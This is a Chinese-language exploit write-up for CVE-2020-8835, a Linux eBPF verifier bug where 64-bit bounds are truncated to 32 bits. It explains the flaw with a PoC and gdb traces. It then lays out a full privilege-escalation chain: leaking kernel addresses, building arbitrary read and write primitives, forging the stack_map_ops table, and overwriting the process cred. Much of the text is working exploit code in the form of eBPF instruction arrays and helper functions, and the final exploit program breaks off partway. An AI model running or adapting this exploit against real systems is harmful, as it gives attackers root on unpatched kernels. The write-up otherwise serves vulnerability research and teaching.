【kernel exploit】CVE-2020-8835:eBPF verifier 整数截断导致越界读写
【kernel exploit】CVE-2020-8835:eBPF verifier 错误处理导致越界读写
影响版本:v5.4.7 - v5.5.0 以及更新的版本,如5.6。
编译选项:CONFIG_BPF_SYSCALL
,config所有带BPF字样的。
漏洞描述:在Linux Kernel commit(581738a681b6)中引入,kernel/bpf/verifier.c没有正确将64位值转换为32位(直接取低32位),使得BPF代码验证阶段和实际执行阶段不一致,导致越界读写。
补丁:patch 去掉 __reg_bound_offset32
函数及其调用。
测试版本:Linux-5.5.0 测试环境下载地址
利用过程:当BPF程序的寄存器来自map(外部传递)时,若该寄存器出现在JMP32指令中,会被__reg_bound_offset32
漏洞函数处理,导致verifier返回结果总为1。利用这个漏洞可以构造任意读写,越界读可以泄露内核基址、传入数据的基址;利用bpf_map_get_info_by_fd
函数构造任意4字节读,泄露task_struct
地址,注意多核与单核的泄露方法有区别;通过伪造 stack_map_ops
函数表中 map_push_elem
指针为 queue_stack_map_get_next_key
,并替换 bpf_map->ops
指向伪造的 stack_map_ops
函数表,构造任意地址写4字节,修改进程 task_struct
的 cred
进行提权。
一、eBPF简介
eBPF是extended Berkeley Packet Filter的缩写。起初是用于捕获和过滤特定规则的网络数据包,现在也被用在防火墙,安全,内核调试与性能分析等领域。
eBPF程序的运行过程如下:在用户空间生产eBPF“字节码”,然后将“字节码”加载进内核中的“虚拟机”中,然后进行一些列检查,通过则能够在内核中执行这些“字节码”。类似Java与JVM虚拟机,但是这里的虚拟机是在内核中的。
1. 内核中的eBPF验证程序
允许用户代码在内核中运行存在一定的危险性。因此,在加载每个eBPF程序之前,都要执行许多检查。主要函数是bpf_check()
,包含check_cfg()
和do_check_main()
函数。
第一,调用check_cfg()
——确保eBPF程序能正常终止,不包含任何可能导致内核锁定的循环。这是通过对程序的控制流图CFG进行深度优先搜索来实现的。程序需3个条件:a.所有指令必须可达;b.没有往回跳转的指令;c.没有跳的太远超出指令范围的指令。
第二,调用do_check_main()
->do_check_common()
->do_check()
——内核验证器(verifier ),模拟eBPF程序的执行,模拟通过后才能正常加载。在执行每条指令之前和之后,都需要检查虚拟机状态,以确保寄存器和堆栈状态是有效的。禁止越界跳转,也禁止访问非法数据。
验证器不需要遍历程序中的每条路径,它足够聪明,可以知道程序的当前状态何时是已经检查过的状态的子集。由于所有先前的路径都必须有效(否则程序将无法加载),因此当前路径也必须有效。 这允许验证器“修剪”当前分支并跳过其仿真。其次具有未初始化数据的寄存器无法读取,这样做会导致程序加载失败。
在遇到具有分支,例如if xxx goto pc+x
这样的语句,内核会检测if
判断的条件是否恒成立。若判断为恒成立或者恒不成立,则只分析相应的那一分支,而另一分支则不进行分析。没有被分析到的指令被视为dead code
,会调用sanitize_dead_code()
将dead code全部替换为exit。
第三,验证器使用eBPF程序类型来限制可以从eBPF程序中调用哪些内核函数以及可以访问哪些数据结构。
bpf程序的执行流程如下图:
2. eBPF程序的载入
(1)bpf_insn —— 指令结构体
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
每一个eBPF程序都是一个bpf_insn
数组,使用bpf系统调用将其载入内核。
(2)bpf_prog_load —— eBPF程序载入的系统调用
#define LOG_BUF_SIZE 65536
#define __NR_BPF 321
char bpf_log_buf[LOG_BUF_SIZE];
int bpf_prog_load(enum bpf_prog_type type,
const struct bpf_insn *insns, int insn_cnt,
const char *license)
{
union bpf_attr attr = {
.prog_type = type, // type —— eBPF程序类型,不同类型的程序作用不同,例如当type为BPF_PROG_TYPE_SOCKET_FILTER时,表示该程序的作用是过滤进出口网络报文
.insns = ptr_to_u64(insns), // insns —— bpf_insn数组,表示该程序的指令
.insn_cnt = insn_cnt, // insn_cnt —— 指令的条数
.license = ptr_to_u64(license), // license —— 必须为"GPL"
.log_buf = ptr_to_u64(bpf_log_buf), // bpf_log_bpf —— 存储的log信息,可以在程序载入内核之后打印它,能获取比较详细的验证时信息
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));
}
用户层调用编写示例:
int load_prog()
{
struct bpf_insn prog[] = {
/*
指令……
*/
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog)/sizeof(struct bpf_insn), "GPL");
}
二、漏洞分析
1. POC
poc如下:goto pc-1
不能通过check_cfg
检查,但还是被载入内核。
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (25) if r0 > 0x30303030 goto pc+0
9: (76) if w0 s>= 0x303030 goto pc+2
10: (05) goto pc-1
11: (05) goto pc-1
12: (95) exit
漏洞原因:内核在检查程序合法性的过程中,第9句在检查时被判断为恒成立,之后的检查便只检查了第12句,第10和第11句被视为dead code
,在之后的sanitize_dead_code()
函数中被修改为goto pc-1
。而没有想到的是,在实际执行的时候第9句实际上是恒不成立,因此就导致程序执行了goto pc-1
。在实际执行跳转指令的时候,跳转的偏移会默认加1,因此实际上goto pc-1
跳转到的地方不是自己的上一条,而是自己,这就导致程序空转,陷入死循环。
模拟执行时,reg->smin_value
为0x10300000
,sval
为0x303030
,可以看到这里会返回1,表示该if语句恒成立,下一个被检测的语句就变成了第12句,而第10和第11句就被patch成了goto pc-1
。
实际执行时,此刻的w0
为0xCFD0
,小于0x303030
,就会导致真正在执行的过程中,内核会执行goto pc-1
,导致空转,死循环。
2. 漏洞分析
(2-1)寄存器结构体:模拟运行BPF指令时,用bpf_reg_state来保存寄存器的状态信息
// ------------------------------------------------
struct bpf_reg_state {
enum bpf_reg_type type;
union {
/* valid when type == PTR_TO_PACKET */
u16 range;
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
u32 btf_id; /* for PTR_TO_BTF_ID */
/* Max size from any of the above. */
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
/* For scalar types (SCALAR_VALUE), this represents our knowledge of
* the actual value.
* For pointer types, this represents the variable part of the offset
* from the pointed-to object, and is shared with all bpf_reg_states
* with the same id as us.
*/
struct tnum var_off; // tnum结构体详见以下!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
/* Used to determine if any memory access using this register will
* result in a bad access.
* These refer to the same value as var_off, not necessarily the actual
* contents of the register.
*/
s64 smin_value; // 有符号时可能的最小值
s64 smax_value; // 有符号时可能的最大值
u64 umin_value; // 无符号时可能的最小值
u64 umax_value; // 无符号时可能的最大值
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
/* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
bool precise;
};
// ------------------------------------------------
/* tnum: tracked (or tristate) numbers
*
* A tnum tracks knowledge about the bits of a value. Each bit can be either
* known (0 or 1), or unknown (x). Arithmetic operations on tnums will
* propagate the unknown bits such that the tnum result represents all the
* possible results for possible values of the operands.
*/
struct tnum {
u64 value; // value: 某个bit为1 表示这个寄存器的这个bit 确定是1
u64 mask; // mask: 某个bit 为1表示这个 bit 是未知的
};
示例:假如value
是 010
(二进制表示) , mask
是100
, 那么就是经过前面的指令的模拟执行之后,可以确定这个寄存器的第二个bit 一定是 1, 第三个 bit 在mask
里面设置了,表示这里不确定,可以是1或者是0。详细的文档可以在Documentnetworking/filter.txt
里面找到。
(2-2)漏洞函数——__reg_bound_offset32()
用于处理跳转指令
__reg_bound_offset32()
函数由commit 581738a681b6引入。
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}
(2-3)跳转指令的处理
示例:对于跳转指令,例如指令BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)
。会采用__reg_bound_offset()
函数(__reg_bound_offset32
的64位版本)来更新状态,false_reg
和true_reg
分别代表两个分支的状态,即该if
不成立时的reg
和if
成立时的reg
。
// reg_set_min_max_inv() 函数:遇到跳转指令时,若待比较的r0不是一个确定的数字,因此会调用reg_set_min_max_inv来设置寄存器的最大最小值。
// 调用顺序:do_check() -> check_cond_jmp_op() -> reg_set_min_max_inv() -> __reg_bound_offset32()
/* We might have learned some bits from the bounds. */
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);
if (is_jmp32) { <----------------------
__reg_bound_offset32(false_reg); <-------------------
__reg_bound_offset32(true_reg); <-------------------
}
当 r5 >= 8
的时候 , 这条指令会跳到pc+3
(正确分支),r5<8
时跳到错误分支。
(2-4)__reg_bound_offset32
流程分析
说明:__reg_bound_offset32
会在使用BPF_JMP32
指令时调用,ebpf 的BPF_JMP
寄存器之间是64bit比较的,换成BPF_JMP32
的时候就只会比较低32bit。 接着看看__reg_bound_offset32()
的过程:
// __reg_bound_offset32() —— 根据reg->umin_value && umax_value,求reg->var_off的范围
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask); // 1.把之前状态转移的umin_value 和umax_value 只取低32bit , 创建一个新的 tnum
struct tnum lo32 = tnum_cast(reg->var_off, 4); // 2.取原来 var_off 的 低32bit
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range)); // 3.tnum_intersect —— 如果a和b有某一个bit是1, 那么代表已经确定这个bit是1了, 所以这里用| 的方式, 两者信息整合起来最后生成一个新的var_off
}
struct tnum tnum_range(u64 min, u64 max)
{
u64 chi = min ^ max, delta;
// 从右往左数,第一个为1的bit 是哪一位(从1开始数), 表示没有1
// 如: fls64(0100) == 3
u8 bits = fls64(chi);
/* special case, needed because 1ULL << 64 is undefined */
if (bits > 63)
return tnum_unknown;
/* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.
|* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return
|* constant min (since min == max).
|*/
delta = (1ULL << bits) - 1;
return TNUM(min & ~delta, delta);
}
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;
v = a.value | b.value;
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}
漏洞:计算range
的时候直接取低32bit,因为原本的umin_value
和 umax_value
都是64bit的, 假如计算之前umin_value == 1
, umax_value == 1 0000 0001
, 取低32bit之后他们都会等于1,这样range计算完之后TNUM(min & ~delta, delta);
, min = 1
, delta = 0
(chi == 0)。
然后到tnum_intersect
函数, 假设a.value = 0
,计算后的v == 1
,mu ==0
,最后得到的 var_off
就是固定值1
, 也就是说,不管寄存器真实的值是怎么样,在verifier
过程都会把它当做是1。
解释:看POC中0 & 1,开始r0赋值为具体值,经过第1条语句后变成不确定的值,这样经过verifier
过程之后r0.var_off->value就变成0了;另一种情况,如果r0是运行时载入的,那r0也是不确定的值,经过verifier
过程之后就被当做1了。
例1:
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0 # r0 右移位数超过 63,则r0变成不确定的值
例2:创建数组array map,运行时将map[1]载入 r6,这时verifier
不知道r6是什么,这时r6.var_off->value = 0
。
3.调试分析
首先创建array map,让 r9 = map[1]
。r6是用于测试漏洞的寄存器。
BPF_LDX_MEM(BPF_DW,6,9,0), // 把map[1]值加载到r6中,这样verifier不知道r6是什么,这时r6.var_off->value = 0。
BPF_JMP_IMM(BPF_JGE,6,1,1), // 在pc+1 的地方 umin_value 变成1
BPF_EXIT_INSN(),
BPF_MOV64_IMM(8,0x1), // 这个时候 r8 = 0x100000001, BPF_JLE 的 pc+1 分支上, umax_value = 0x100000001
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE tnum umax 0x100000001*/
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
BPF_JMP32_IMM(BPF_JNE,6,5,1), // 触发漏洞 BPF_JMP32_IMM
BPF_EXIT_INSN(),
因为r6
是从 map[0]
load 进来的,实际运行的时候可以是任何值,但经过verifier操作后都被当做1。
在__reg_bound_offset32
下个断点,我这里是在kernel/bpf/verifier.c:1038
, false_reg
和true_reg
在函数执行前后值如下:
// false_reg 执行前
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
//--- 执行后
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// true_reg 执行前
var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// --- 执行后
var_off = {
value = 0x1, // 变成1,恒跳转
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
三、利用
1.漏洞利用
// 前面的指令执行完后,再执行以下指令,一开始令 r6=2*(实际值),但verifier后会被当做1。
BPF_ALU64_IMM(BPF_AND, 6, 2), // verifier: ( 1&2 )>>1 == 0; 实际执行: (2 & 2) >> 1 ==1。
BPF_ALU64_IMM(BPF_RSH, 6, 1),
BPF_ALU64_IMM(BPF_MUL,6,0x110), // r6 = r6 * 0x110 , verifier 过程仍然认为r6 = 0,但是实际运行时 r6 = 0x110
BPF_MOV64_REG(7,0), // 获取一个map,我们叫它expmap 吧, r7 = expmap[0]
BPF_ALU64_REG(BPF_SUB,7,6) // r7 = r7 - r6,r7是指针,verifier 会根据map的 size 来检查边界。但是verifier 认为 r6==0, r7 - 0 == r7, 可通过检查。实际执行时 r7 = r7 - 0x110,即可越界读写。
2.地址泄露
// 创建map,传入用户数据,这个结构是用户态与内核态交互的一块共享内存
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);
int bpf_create_map(enum bpf_map_type map_type, int key_size,
int value_size, int max_entries, __u32 map_flags)
// key_size:表示索引的大小范围,key_size=sizeof(int)=4.
// value_size:表示map数组每个元素的大小范围,可以任意,只要控制在一个合理的范围
// max_entries:表示map数组的大小,编写利用时将其设为1
bpf_create_map()
实际调用map_create()
来创建bpf_array
结构,我们传入的数据放在value[] 处:
struct bpf_array {
struct bpf_map map; <-----------------
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[]; // 我们传入的数据,在 bpf_array 中偏移0x110,所以bpf_map的结构地址是*(&map-0x110)
void *ptrs[];
void *pptrs[];
};
}
struct bpf_map {
const struct bpf_map_ops *ops; // 创建map时设置 BPF_MAP_TYPE_ARRAY 类型时,会将ops指针赋值为array_map_ops, array_map_ops 是一个全局结构包含很多函数指针,可以用于泄露内核地址;设置为BPF_MAP_TYPE_STACK 时 ops指针赋值为 stack_map_ops。
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}
// /kernel/bpf/arraymap.c#L447 BPF_MAP_TYPE_ARRAY
const struct bpf_map_ops array_map_ops = {
.map_alloc_check = array_map_alloc_check,
.map_alloc = array_map_alloc,
.map_free = array_map_free,
.map_get_next_key = array_map_get_next_key,
.map_lookup_elem = array_map_lookup_elem,
.map_update_elem = array_map_update_elem,
.map_delete_elem = array_map_delete_elem,
.map_gen_lookup = array_map_gen_lookup,
.map_direct_value_addr = array_map_direct_value_addr,
.map_direct_value_meta = array_map_direct_value_meta,
.map_seq_show_elem = array_map_seq_show_elem,
.map_check_btf = array_map_check_btf,
};
// /kernel/bpf/queue_stack_maps.c#L272 BPF_MAP_TYPE_STACK
const struct bpf_map_ops stack_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = stack_map_pop_elem,
.map_peek_elem = stack_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
泄露内核地址:读取bpf_map_ops *ops
指针即可。
泄露map_elem地址:&exp_value[0]-0x110+0xc0(wait_list)处保存着指向wait_list
自身(bpf_array
中)的地址,用于泄露exp_value的地址。
gef➤ p/a *(struct bpf_array *)0xffff88800d878000
$5 = {
map = {
ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露内核地址
inner_map_meta = 0x0 <fixed_percpu_data>,
security = 0xffff88800e93f0f8,
map_type = 0x2 <fixed_percpu_data+2>,
key_size = 0x4 <fixed_percpu_data+4>,
value_size = 0x2000 <irq_stack_backing_store>,
max_entries = 0x1 <fixed_percpu_data+1>,
//...
usercnt = {
//..
wait_list = {
next = 0xffff88800d8780c0,//<-- 泄露 bpf_array 地址
prev = 0xffff88800d8780c0
}
},
writecnt = 0x0 <fixed_percpu_data>
},
elem_size = 0x2000 <irq_stack_backing_store>,
index_mask = 0x0 <fixed_percpu_data>,
aux = 0x0 <fixed_percpu_data>,
{
value = 0xffff88800d878110,//<-- r7
ptrs = 0xffff88800d878110,
pptrs = 0xffff88800d878110
}
}
3.任意读
方法:利用BPF_OBJ_GET_INFO_BY_FD
选项进行任意读。通过修改map->btf
指针为target_addr-0x58
,读取map->btf+0x58
处的32 bit值(map->btf.id
)。
调用顺序:BPF_OBJ_GET_INFO_BY_FD
-> bpf_obj_get_info_by_fd()
-> bpf_map_get_info_by_fd()
// bpf_map_get_info_by_fd()
static int bpf_map_get_info_by_fd(struct bpf_map *map,
const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
struct bpf_map_info info = {}; <---------------------------
u32 info_len = attr->info.info_len;
......
if (map->btf) {
info.btf_id = btf_id(map->btf); // 修改map->btf 就可以进行任意读,获得btf_id,在btf结构偏移0x58处
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
......
if (copy_to_user(uinfo, &info, info_len) || // 传到用户态的info中,泄露信息
put_user(info_len, &uattr->info.info_len))
return -EFAULT;
return 0;
}
u32 btf_id(const struct btf *btf)
{
return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id // 获取id在btf结构中的偏移 —— 等号右边
$56 = 0x58
(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id // 获取btf_id在bpf_map_info中偏移 —— 等号左边
$57 = 0x40
所以只需要修改 map->btf
为 target_addr-0x58
,就可以把btf->id
(target_addr
处的值)泄露到用户态info中,泄漏的信息在struct bpf_map_info 结构偏移0x40处,由于是u32类型,所以一次只能泄露4个字节。
利用代码如下:
static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)value,
.info.bpf_fd = mapfd,
.info.info_len = 0x100,
.info.info = (__u64)info,
};
syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
return *(uint32_t *)((char *) +0x40);
}
4.查找task_struct
// 通过gdb调试来寻找 init_pid_ns 结构的地址
ksymtab 保存init_pid_ns结构的偏移,init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串
(gdb) p &__ksymtab_init_pid_ns
$48 = (<data variable, no debug info> *) 0xffffffff822f2578
(gdb) x/2wx 0xffffffff822f2578
0xffffffff822f2578: 0x001527c8 0x0000a1f9 // init_pid_ns 结构的位置偏移 + 字符串偏移
(gdb) x/10s 0xffffffff822f257c+0xa1f9
0xffffffff822fc775 <__kstrtab_init_pid_ns>: "init_pid_ns"
0xffffffff822fc781 <__kstrtabns_kernel_param_unlock>: ""
(gdb) x/10gx 0xffffffff822f2578+0x001527c8
0xffffffff82444d40 <init_pid_ns>: 0x0000000000000002 0x0080000400000000
0xffffffff82444d50 <init_pid_ns+16>: 0xffff88801e469242 0x0000006f00000000
(4-1)通过漏洞来搜索 init_pid_ns 结构的地址
先搜索"init_pid_ns" 字符串可以得到 __kstrtab_init_pid_ns
的地址;再搜索满足 target_addr + (int)*target_addr == __kstrtab_init_pid_ns
条件的 target_addr
,target_addr - 4
即为 __ksymtab_init_pid_ns
地址;加上 init_pid_ns 结构的位置偏移即可,target_addr - 4 + (int)*(target_addr - 4)
即为 init_pid_ns 结构的地址。
(4-2)通过pid 和 init_pid_ns
查找对应pid的 task_struct
内核查找过程:通过 find_task_by_pid_ns
函数查找。
// -------------(1)
struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns) // nr —— 当前进程的pid;ns —— init_pid_ns结构地址;目标 —— ns->idr字段的内容。
{
RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
"find_task_by_pid_ns() needs rcu_read_lock() protection");
return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID); // <------------
}
// -------------(2)
struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
return idr_find(&ns->idr, nr); // <---------
}
// -------------(3)lib/idr.c:
void *idr_find(const struct idr *idr, unsigned long id)
{
return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base); // 目标 —— 获取&idr->idr_rt 和 idr->idr_base
}
// -------------(4)lib/radix-tree.c:
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
return __radix_tree_lookup(root, index, NULL, NULL); // <-------------
}
// -------------(5)
void *__radix_tree_lookup(const struct radix_tree_root *root,
unsigned long index, struct radix_tree_node **nodep,
void __rcu ***slotp)
{
struct radix_tree_node *node, *parent;
unsigned long maxindex;
void __rcu **slot;
restart:
parent = NULL;
slot = (void __rcu **)&root->xa_head;
radix_tree_load_root(root, &node, &maxindex); //将root->xa_head的值赋给node
if (index > maxindex)
return NULL;
while (radix_tree_is_internal_node(node)) {
unsigned offset;
parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
offset = radix_tree_descend(parent, &node, index); // 重点:循环查找当前进程的node
slot = parent->slots + offset; //
if (node == RADIX_TREE_RETRY)
goto restart;
if (parent->shift == 0) // 当shift为0时,退出,说明找到当前进程的node
break;
}
if (nodep)
*nodep = parent;
if (slotp)
*slotp = slot;
return node;
}
// -------------(6)重点 —— radix_tree_descend: 获取当前进程的node
RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent,
struct radix_tree_node **nodep, unsigned long index)
{
unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK; // 要读取parent->shift的值,并与0x3f 与计算
void __rcu **entry = rcu_dereference_raw(parent->slots[offset]); // 获取parent->slots[offset] 作为下一个node
*nodep = (void *)entry; //
return offset; //
}
// -------------radix_tree_node 结构
#define radix_tree_node xa_node
struct xa_node {
unsigned char shift; /* Bits remaining in each slot */
unsigned char offset; /* Slot offset in parent */
unsigned char count; /* Total entry count */
unsigned char nr_values; /* Value entry count */
struct xa_node __rcu *parent; /* NULL at top of tree */
struct xarray *array; /* The array we belong to */
union {
struct list_head private_list; /* For tree user */
struct rcu_head rcu_head; /* Used when freeing node */
};
void __rcu *slots[XA_CHUNK_SIZE];
union {
unsigned long tags[XA_MAX_MARKS][XA_MARK_LONGS];
unsigned long marks[XA_MAX_MARKS][XA_MARK_LONGS];
};
};
// -------------(7)跳到第一步出现的 pid_task: 根据当前进程的node获取相应的 task_struct
enum pid_type
{
PIDTYPE_PID,
PIDTYPE_TGID,
PIDTYPE_PGID,
PIDTYPE_SID,
PIDTYPE_MAX,
};
type 为PIDTYPE_PID, 值为0
#define hlist_entry(ptr, type, member) container_of(ptr,type,member)
struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
struct task_struct *result = NULL;
if (pid) {
struct hlist_node *first;
first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), // 获取&pid->tasks[0] 的内容
lockdep_tasklist_lock_is_held());
if (first)
result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first为pid_links[0]的地址,由此获得task_struct的起始地址
}
return result;
}
// ------------- tasks[0] 和 pid_links[0] 的偏移
(gdb) p/x &(*(struct pid*)0x0)->tasks[0]
$10 = 0x8
(gdb) p/x &(*(struct task_struct *)0)->pid_links[0]
$8 = 0x500
5.任意写
步骤:
-
调用
bpf_create_map()
构造bpf_array
时,类型设置为BPF_MAP_TYPE_QUEUE
或者BPF_MAP_TYPE_STACK
。(这样bpf_array->map->ops
会被赋值为全局函数表queue_map_ops
或stack_map_ops
,其中包含可利用的map_push_elem
函数指针)。 -
在
exp_value
上布置伪造的array_map_ops
,伪造的array_map_ops
中将map_push_elem
填充为map_get_next_key
,这样调用map_push_elem
时就会调用map_get_next_key
,并将&exp_value[0]
的地址覆盖到exp_map[0]
,同时要构造 map 的一些字段绕过某些检查。
struct bpf_array {
struct bpf_map map; // <-------- 覆盖为 &exp_value[0]
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[]; // 用户数据 exp_value,放置伪造的 array_map_ops 函数表
void *ptrs[];
void *pptrs[];
};
}
// /kernel/bpf/queue_stack_maps.c#L272 BPF_MAP_TYPE_STACK
const struct bpf_map_ops stack_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem, // 伪造成 map_get_next_key
.map_pop_elem = stack_map_pop_elem,
.map_peek_elem = stack_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
// 需伪造的关键字段
spin_lock_off = 0
max_entries = 0xffff ffff
//写入的index要满足(index >= array->map.max_entries), 将map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK时,map_update_elem 会调用map_push_elem
- 调用bpf_update_elem任意写内存
bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
->array_map_get_next_key
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
//
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) { // index = value[0]
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1; // (u32 *)next_key = *(u32 *)key +1 *flags = value[0]+1
return 0;
}
map_push_elem()
的参数是 value
和 uattr->flags
,分别对应 array_map_get_next_key()
的 key
和 next_key
参数,之后有 index = value[0]
,next = flags
, 最终效果是 *flags = value[0]+1
,这里index 和 next 都是 u32 类型, 所以可以任意地址写 4个byte。
6.总结
bpf_insn
说明:
- r6 保存ctrl_value的地址,r7保存exp_value的地址,r8为偏移
- ctrl_map 保存输入的偏移,泄露的地址,以及执行覆盖伪造的array_map_ops操作
- exp_map 保存伪造的array_map_ops
struct bpf_insn my_prog[] = {
//-------- ctrl_mapfd
BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd), // r9 = ctrl_mapfd
BPF_MAP_GET(0,BPF_REG_8), // r8 = map[0] 即为 0x110
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), // r6 = r0
BPF_LD_IMM64(BPF_REG_2,0x4000000000), // r2 = 0x4000000000
BPF_LD_IMM64(BPF_REG_3,0x2000000000), // r3 = 0x2000000000
BPF_LD_IMM64(BPF_REG_4,0xFFFFffff), // r4 = 0xFFFFffff
BPF_LD_IMM64(BPF_REG_5,0x1), // r5 = 0x1
BPF_JMP_REG(BPF_JGT,BPF_REG_8,BPF_REG_2,5), // r8 > 0x4000000000 则跳转
BPF_JMP_REG(BPF_JLT,BPF_REG_8,BPF_REG_3,4), // r8 < 0x2000000000 则跳转
BPF_JMP32_REG(BPF_JGT,BPF_REG_8,BPF_REG_4,3),// r8 > 0xFFFFffff 则跳转
BPF_JMP32_REG(BPF_JLT,BPF_REG_8,BPF_REG_5,2),// r8 < 0x1 则跳转
BPF_ALU64_REG(BPF_AND,BPF_REG_8,BPF_REG_4), // r8 = r8 & 0xFFFFffff 偏移r8检查时为0,而实际值为0x110
BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0,0x0), // r9 = 0
BPF_EXIT_INSN(),
//-------- exp_mapfd
BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd), // r9 = exp_mapfd
BPF_MAP_GET_ADDR(0,BPF_REG_7),
BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_8), // r7 = r7-r8 = r7-0x110
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0), // r7 = &exp_value[0]-0x110 , 获得array_map_ops的地址 —— 泄露内核基址
BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10), // leak *(&exp_value[0]-0x110)
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0xc0), // leak *(&exp_value[0]-0x110+0xc0) wait_list —— 泄露 exp_value 基址
BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x18), // 泄露 wait_list保存的地址,该地址指向自身,所以此处用于泄露exp_map的地址
